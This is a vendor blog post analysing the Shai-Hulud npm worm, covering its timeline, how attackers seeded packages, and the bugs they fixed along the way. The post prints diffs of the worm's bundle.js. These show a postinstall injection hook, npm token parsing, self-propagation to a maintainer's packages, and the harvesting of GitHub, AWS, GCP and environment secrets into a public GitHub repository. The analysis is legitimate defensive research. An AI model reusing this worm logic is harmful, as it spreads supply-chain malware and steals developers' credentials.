Aikido

Bugs in Shai-Hulud: Debugging the Desert

Charlie EriksenCharlie Eriksen
|
#

Hello internet, it’s me again, bringing you more joyful news. 

Yesterday, I took the time to sit down and really dig into the Shai Hulud payloads. And I noticed something exciting, which sent me down the rabbit hole (Or rather, wormhole) of analyzing the attack timeline more in depth. Here’s what I saw:

Something here isn't quite right...

Do you notice how there are multiple package.json and bundle.js files? Yes, that’s a bug in how the Shai Hulud worm embeds itself. It wouldn’t replace the package.json and bundle.js; it simply added another copy of them. Not only that, but it also gives us full timestamps and the username of the local user who made the change.

We also see multiple DIFFERENT versions of the worm. This allows us to get a lot of insights into the timeline of events and how they were debugging things live. You know what that means: Time to get out our shovels and start digging.

How did the attack start?

One of the big questions we had was: What was the first compromise? How did the attackers get the worm to start spreading? It immediately became clear as we began to examine the metadata of the archives from npm. The answer was simple:

The attackers seeded a significant number of packages with the malware themselves. Most likely using NPM tokens stolen from the original Nx attack. How can we tell? From the user metadata in the archives. For those that don’t know, Kali is the name of a Linux distribution that is used by security professionals, not normal developers. But we see this fingerprint in the first 49 packages, for a total of 67 versions.

Swing and miss

The attackers didn’t succeed at first, as was evident by the fact that they released multiple versions of some packages. Let’s take a look at rxnt-authentication, which is the first malicious package we believe was released on 2025-09-14 17:58:50 UTC (Version 0.0.3). The picture at the start of the post is from version 0.0.6, which was the fourth version that the attackers released. Here’s the scripts section of the first attacker-inserted package.json:

Do you see the mistake?

Do you notice something odd? The capitalization of postInstall is wrong. The i shouldn’t be capitalized! If we do a diff of the first 2 bundle.js files, we can see that the attackers eventually figured it out:

--- prettified/bundle-1.js	2025-09-17 19:53:13.717392200 +0200
+++ prettified/bundle-2.js	2025-09-17 19:53:20.162839500 +0200
@@ -65934,7 +65934,7 @@
                   isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
                 }
               }
-              ((n.scripts.postInstall = "node bundle.js"),
+              ((n.scripts.postinstall = "node bundle.js"),
                 await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
                 await te(`tar -uf ${le} -C ${ae} package/package.json`));
               const F = process.argv[1];
@@ -168266,67 +168266,90 @@
             architecture: this.mapArchitecture(this.systemInfo.architecture),
           };
         }

On top of fixing this, the attackers made several more changes. I’ll do the attackers a favor and publish the changelog for them, since they didn’t include that:

🛠️ Improvements

  • TruffleHog module:
    • The timeout for TruggleHog was reduced from 120 seconds to 90 seconds.
    • Fixed a race condition in trying to run TruffleHog before the binary was downloaded.
  • Replaced a reference to stealing Azure credentials with GCP.
  • Increased the number of npm packages it will infect from 10 to 20.

Clearly, the attackers had an intent to steal Azure credentials, but went with GCP instead. And they decided to double the number of packages the worm would spread into.

Another bug

At 2025-09-14 20:43:42, the attackers released another batch of packages, the first being version 0.0.4 of rxnt-authentication with the fixed capitalization of postinstall. We then see ~20 minutes later, at 2025-09-14 21:03:17, them also release a version 0.0.5 with an interesting change:

--- prettified/bundle-2.js	2025-09-17 19:53:20.162839500 +0200
+++ prettified/bundle-3.js	2025-09-17 19:53:26.495899200 +0200
@@ -65934,7 +65934,8 @@
                   isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
                 }
               }
-              ((n.scripts.postinstall = "node bundle.js"),
+              (n.scripts || (n.scripts = {}),
+                (n.scripts.postinstall = "node bundle.js"),
                 await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
                 await te(`tar -uf ${le} -C ${ae} package/package.json`));
               const F = process.argv[1];

They changed their script to only insert the postinstall script if the scripts key exists in the package.json. It appears that the attackers were preparing to attack the ngx-bootstrap packages, which they did on 15 Sep 2025 01:12. Here’s the package.json:

{
  "name": "ngx-bootstrap",
  "version": "20.0.3",
  "description": "Angular Bootstrap",
  "author": "Dmitriy Shekhovtsov <valorkin@gmail.com>",
  "license": "MIT",
  "schematics": "./schematics/collection.json",
  "peerDependencies": {
    "@angular/animations": "^20.0.2",
    "@angular/common": "^20.0.2",
    "@angular/core": "^20.0.2",
    "@angular/forms": "^20.0.2",
    "rxjs": "^6.5.3 || ^7.4.0"
  },
  "dependencies": {
    "tslib": "^2.3.0"
  },
  "exports": {
    ...
    ".": {
      "types": "./index.d.ts",
      "default": "./fesm2022/ngx-bootstrap.mjs"
    }
  },
  "sideEffects": false,
  "publishConfig": {
    "registry": "https://registry.npmjs.org/",
    "tag": "next"
  },
  "repository": {
    "type": "git",
    "url": "git+ssh://git@github.com/valor-software/ngx-bootstrap.git"
  },
  "bugs": {
    "url": "https://github.com/valor-software/ngx-bootstrap/issues"
  },
  "homepage": "https://github.com/valor-software/ngx-bootstrap#readme",
  "keywords": [
    "angular",
    "bootstap",
    "ng",
    "ng2",
    "angular2",
    "twitter-bootstrap"
  ],
  "module": "fesm2022/ngx-bootstrap.mjs",
  "typings": "index.d.ts"
}

 Notice how there are no scripts? Trying to run the worm on this package would not work. So they fixed it. And we see that the package was also modified by a kali user:

The ngx-bootstrap package, also seeded by the attackers.

Clearly, this package was pushed by the attackers themselves after having debugged why their worm broke when trying to infect this package.

More fixes

In version 0.0.6 of rxnt-authentication, we see more changes (Snipped a bit for brevity). 

--- prettified/bundle-3.js	2025-09-17 19:53:26.495899200 +0200
+++ prettified/bundle-4.js	2025-09-17 19:53:33.252022300 +0200
@@ -49555,7 +49555,7 @@
     },
     26935: (t) => {
       t.exports =
-        '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n...
+        '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n    exit 1\nfi\n\nSOURCE_ORG="$1"\nT.....
     },
     26937: (t, r, n) => {
       (n.r(r), n.d(r, { AwsRestXmlProtocol: () => AwsRestXmlProtocol }));
@@ -54767,25 +54767,6 @@
         }
       }
     },
-    32304: (t, r, n) => {
-      (n.r(r), n.d(r, { Application: () => Application }));
-      class Application {
-        constructor(t) {
-          this.config = t;
-        }
-        getConfig() {
-          return { ...this.config };
-        }
-        getRuntimeInfo() {
-          return {
-            nodeVersion: process.version,
-            platform: process.platform,
-            architecture: process.arch,
-            timestamp: new Date(),
-          };
-        }
-      }
-    },
     32348: (t, r, n) => {
       (n.r(r),
         n.d(r, {
@@ -125245,29 +125226,10 @@
         te = n(72438);
     },
     54704: (t, r, n) => {
-      (n.r(r),
-        n.d(r, {
-          exitWithCode: () => exitWithCode,
-          formatOutput: () => formatOutput,
-          logError: () => logError,
-          logInfo: () => logInfo,
-          parseNpmToken: () => parseNpmToken,
-        }));
+      (n.r(r), n.d(r, { parseNpmToken: () => parseNpmToken }));
       var F = n(79896),
         te = n(16928),
         re = n(70857);
-      function formatOutput(t) {
-        return JSON.stringify(t, null, 2);
-      }
-      function logInfo(t) {
-        console.log(`[INFO] ${t}`);
-      }
-      function logError(t) {
-        console.error(`[ERROR] ${t}`);
-      }
-      function exitWithCode(t) {
-        process.exit(t);
-      }
       function parseNpmToken(t) {
         const r = /(?:_authToken|:_authToken)=([a-zA-Z0-9\-._~+/]+=*)/,
           n = t
@@ -156119,7 +156081,7 @@
               await this.octokit.rest.repos.createForAuthenticatedUser({
                 name: t,
                 description: "Shai-Hulud Repository.",
-                private: !0,
+                private: !1,
                 auto_init: !1,
                 has_issues: !1,
                 has_projects: !1,
@@ -156140,11 +156102,6 @@
                     ),
                   ).toString("base64"),
                 })),
-              await this.octokit.rest.repos.update({
-                owner: n.owner.login,
-                repo: n.name,
-                private: !1,
-              }),
               {
                 owner: n.owner.login,
                 repo: n.name,
@@ -156178,20 +156135,6 @@
             return [];
           }
         }
-        async repoExists(t) {
-          try {
-            const r = await this.octokit.rest.users.getAuthenticated();
-            return (
-              await this.octokit.rest.repos.get({
-                owner: r.data.login,
-                repo: t,
-              }),
-              !0
-            );
-          } catch {
-            return !1;
-          }
-        }
       }
     },
     82053: (t, r, n) => {
@@ -174427,114 +174370,110 @@
 __webpack_require__.r(__webpack_exports__);
 var _utils_os__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(71197),
   _lib_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(54704),
-  _models_general__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(32304),
-  _modules_github__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(82036),
-  _modules_aws__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(56686),
-  _modules_gcp__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(9897),
-  _modules_truffle__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(94913),
-  _modules_npm__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(40766);
+  _modules_github__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(82036),
+  _modules_aws__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(56686),
+  _modules_gcp__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(9897),
+  _modules_truffle__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(94913),
+  _modules_npm__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(40766);
 async function main() {
-  const t = new _models_general__WEBPACK_IMPORTED_MODULE_2__.Application({
-      name: "System Info App",
-      version: "1.0.0",
-      description: "Optimizes system.",
-    }),
-    r = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
-    n = t.getRuntimeInfo(),
-    F = new _modules_github__WEBPACK_IMPORTED_MODULE_3__.GitHubModule(),
-    te = new _modules_aws__WEBPACK_IMPORTED_MODULE_4__.AWSModule(),
-    re = new _modules_gcp__WEBPACK_IMPORTED_MODULE_5__.GCPModule(),
-    ne = new _modules_truffle__WEBPACK_IMPORTED_MODULE_6__.TruffleHogModule();
-  let oe = process.env.NPM_TOKEN;
-  oe ||
-    (oe =
+  const t = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
+    r = new _modules_github__WEBPACK_IMPORTED_MODULE_2__.GitHubModule(),
+    n = new _modules_aws__WEBPACK_IMPORTED_MODULE_3__.AWSModule(),
+    F = new _modules_gcp__WEBPACK_IMPORTED_MODULE_4__.GCPModule(),
+    te = new _modules_truffle__WEBPACK_IMPORTED_MODULE_5__.TruffleHogModule();
+  let re = process.env.NPM_TOKEN;
+  re ||
+    (re =
       (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.parseNpmToken)() ?? void 0);
-  const ie = new _modules_npm__WEBPACK_IMPORTED_MODULE_7__.NpmModule(oe);
-  let se = null,
-    ae = !1;
+  const ne = new _modules_npm__WEBPACK_IMPORTED_MODULE_6__.NpmModule(re);
+  let oe = null,
+    ie = !1;
   if (
-    F.isAuthenticated() &&
+    r.isAuthenticated() &&
     ((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
       (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)())
   ) {
-    const t = F.getCurrentToken(),
-      r = await F.getUser();
-    if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && r) {
-      await F.extraction(t);
-      const n = await F.getOrgs();
-      for (const t of n) await F.migration(r.login, t, F.getCurrentToken());
+    const t = r.getCurrentToken(),
+      n = await r.getUser();
+    if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && n) {
+      await r.extraction(t);
+      const F = await r.getOrgs();
+      for (const t of F) await r.migration(n.login, t, r.getCurrentToken());
     }
   }
-  const [ce, le] = await Promise.all([
+  const [se, ae] = await Promise.all([
     (async () => {
       try {
         if (
-          ((se = await ie.validateToken()),
-          (ae = !!se),
-          se &&
+          ((oe = await ne.validateToken()),
+          (ie = !!oe),
+          oe &&
             ((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
               (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)()))
         ) {
-          const t = await ie.getPackagesByMaintainer(se, 20);
+          const t = await ne.getPackagesByMaintainer(oe, 20);
           await Promise.all(
             t.map(async (t) => {
               try {
-                await ie.updatePackage(t);
+                await ne.updatePackage(t);
               } catch (t) {}
             }),
           );
         }
       } catch (t) {}
-      return { npmUsername: se, npmTokenValid: ae };
+      return { npmUsername: oe, npmTokenValid: ie };
     })(),
     (async () => {
-      const [t, r] = await Promise.all([ne.isAvailable(), ne.getVersion()]);
+      if (process.env.SKIP_TRUFFLE)
+        return {
+          available: !1,
+          installed: !1,
+          version: null,
+          platform: null,
+          results: null,
+        };
+      const [t, r] = await Promise.all([te.isAvailable(), te.getVersion()]);
       let n = null;
       return (
-        t && (n = await ne.scanFilesystem()),
+        t && (n = await te.scanFilesystem()),
         {
           available: t,
-          installed: ne.isInstalled(),
+          installed: te.isInstalled(),
           version: r,
-          platform: ne.getSupportedPlatform(),
+          platform: te.getSupportedPlatform(),
           results: n,
         }
       );
     })(),
   ]);
-  ((se = ce.npmUsername), (ae = ce.npmTokenValid));
-  let ue = [];
-  (await te.isValid()) && (ue = await te.getAllSecretValues());
-  let de = [];
-  (await re.isValid()) && (de = await re.getAllSecretValues());
-  const pe = {
-    application: t.getConfig(),
+  ((oe = se.npmUsername), (ie = se.npmTokenValid));
+  let ce = [];
+  (await n.isValid()) && (ce = await n.getAllSecretValues());
+  let le = [];
+  (await F.isValid()) && (le = await F.getAllSecretValues());
+  const ue = {
     system: {
-      platform: r.platform,
-      architecture: r.architecture,
-      platformDetailed: r.platformRaw,
-      architectureDetailed: r.archRaw,
+      platform: t.platform,
+      architecture: t.architecture,
+      platformDetailed: t.platformRaw,
+      architectureDetailed: t.archRaw,
     },
-    runtime: n,
     environment: process.env,
     modules: {
       github: {
-        authenticated: F.isAuthenticated(),
-        token: F.getCurrentToken(),
+        authenticated: r.isAuthenticated(),
+        token: r.getCurrentToken(),
+        username: r.getUser(),
       },
-      aws: { secrets: ue },
-      gcp: { secrets: de },
-      truffleHog: le,
-      npm: { token: oe, authenticated: ae, username: se },
+      aws: { secrets: ce },
+      gcp: { secrets: le },
+      truffleHog: ae,
+      npm: { token: re, authenticated: ie, username: oe },
     },
   };
-  (F.isAuthenticated() &&
-    !F.repoExists("Shai-Hulud") &&
-    (await F.makeRepo(
-      "Shai-Hulud",
-      (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(pe),
-    )),
-    (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.exitWithCode)(0));
+  (r.isAuthenticated() &&
+    (await r.makeRepo("Shai-Hulud", JSON.stringify(ue, null, 2))),
+    process.exit(0));
 }
 main().catch((t) => {
   process.exit(0);

Here are some patch notes:

✨ New Features

  • Conditional TruffleHog Scan: You can now skip the TruffleHog filesystem scan by setting the SKIP_TRUFFLE environment variable. 

🛠️ Improvements

  • Enhanced Repository Migration: The migration script now automatically removes the .github/workflows directory from migrated repositories. 
  • Default Public Repositories: The GitHub repository created to store the collected system data is now created as public by default, rather than being turned public after being created as private.
  • Removed repoExists Check: The check to see if the Shai-Hulud repository already exists has been removed. The script will now attempt to create it on every run, relying on GitHub's behavior to handle cases where the repository already exists.

First community spread

Based on this analysis, the first community spread happened through the package capacitor-plugin-healthapp version 0.0.2 on 15 Sep 2025 04:54.

The first case of community spread observed

It’s the first package where we see the archive has a user that’s not kali

How was tinycolor compromised?

The initial reporting of this campaign was heavily focused on the tinycolor package. So let’s look at it! The first malicious version of @ctrl/tinycolor was version 4.1.1, released on 15 Sep 2025 19:52. 

The tinycolor package was likely seeded by the attackers

But look, another kali! This package was not compromised through community spread most likely, but by the attackers trying to seed another package to kick-start the worm.

How was CrowdStrike compromised?

Here’s the package @crowdstrike/foundry-js version 0.19.1, released 16 Sep 2025 01:14. Notice that the user kali also modified this..

The CrowdStrike packages were likely seeded by the attackers.

This indicates that the attackers had credentials for CrowdStrike and used this to seed another wave of the attack.

How was NativeScript compromised?

From talking to Daniel Pereira, who was the first to alert the community to this campaign, he became aware of it because he observed it had impacted the NativeScript ecosystem. The first package was @nativescript-community/arraybuffers version 1.1.6 on 15 Sep 2025 09:16:

A clear case of community spread.

Major events

Here’s a timeline of significant events during the campaign. 

Released time (UTC) Package / Version Notes
2025-09-14 17:58 rxnt-authentication @ 0.0.3 First malicious version, incorrectly capitalized postinstall
2025-09-14 20:43 rxnt-authentication @ 0.0.4 Fixes the capitalization issue in the worm
2025-09-14 21:03 rxnt-authentication @ 0.0.5 Fixes the bug that caused the worm to fail when a package.json file did not already contain scripts.
2025-09-15 01:12 ngx-bootstrap @ 20.0.3 First compromised ngx-bootstrap package seeded by attackers, after fixing the bug when a package has no scripts.
2025-09-15 04:54 capacitor-plugin-healthapp @ 0.0.2 First community spread detected.
2025-09-15 09:16 @nativescript-community/arraybuffers @ 1.1.6 First NativeScript package compromised through community spread.
2025-09-15 15:45 rxnt-authentication @ 0.0.6 Another version was seeded by the attackers, with more fixes to the worm.
2025-09-15 19:52 @ctrl/tinycolor @ 4.1.1 The first malicious version of tinycolor, spread by the attackers.
2025-09-16 01:14 @crowdstrike/foundry-js @ 0.19.1 CrowdStrike packages are seeded with malware by attackers.

Where do we go from here?

This Shai Hulud campaign represents a significant escalation from the original S1ngularity attack, which began with Nx. We observe the attackers making multiple attempts to fix bugs and get the worm to start propagating across the npm ecosystem. The most logical explanation we have come up with is that the attackers have been sitting on credentials they stole from the original attack, waiting to use them till the time was right.

Hence, we can observe the attackers seeding multiple rounds of attacks over the course of multiple days, as their attempt did not immediately start propagating with significant velocity. They were not happy with how slowly it was spreading, which is very lucky for us. 

But it raises an uncomfortable truth: If they’ve been sitting on these credentials for several weeks, and now have even MORE credentials they have been able to steal, this is likely not the last we will see of them. For now, the worm has not yet achieved escape velocity to become truly viral. 

It would be foolish to assume that the attackers used the best aces up their sleeve, in terms of the credentials they have stored in their back pocket. It’s still not clear what the incentive and motive of the attackers are, which suggests that this saga isn’t over. It seems more than likely that we’re in for a trilogy of a story that’s yet to be told. And right now, I don’t think the ending will be a happy one. 

Get secure for free

Secure your code, cloud, and runtime in one central system.
Find and fix vulnerabilities fast automatically.

No credit card required |Scan results in 32secs.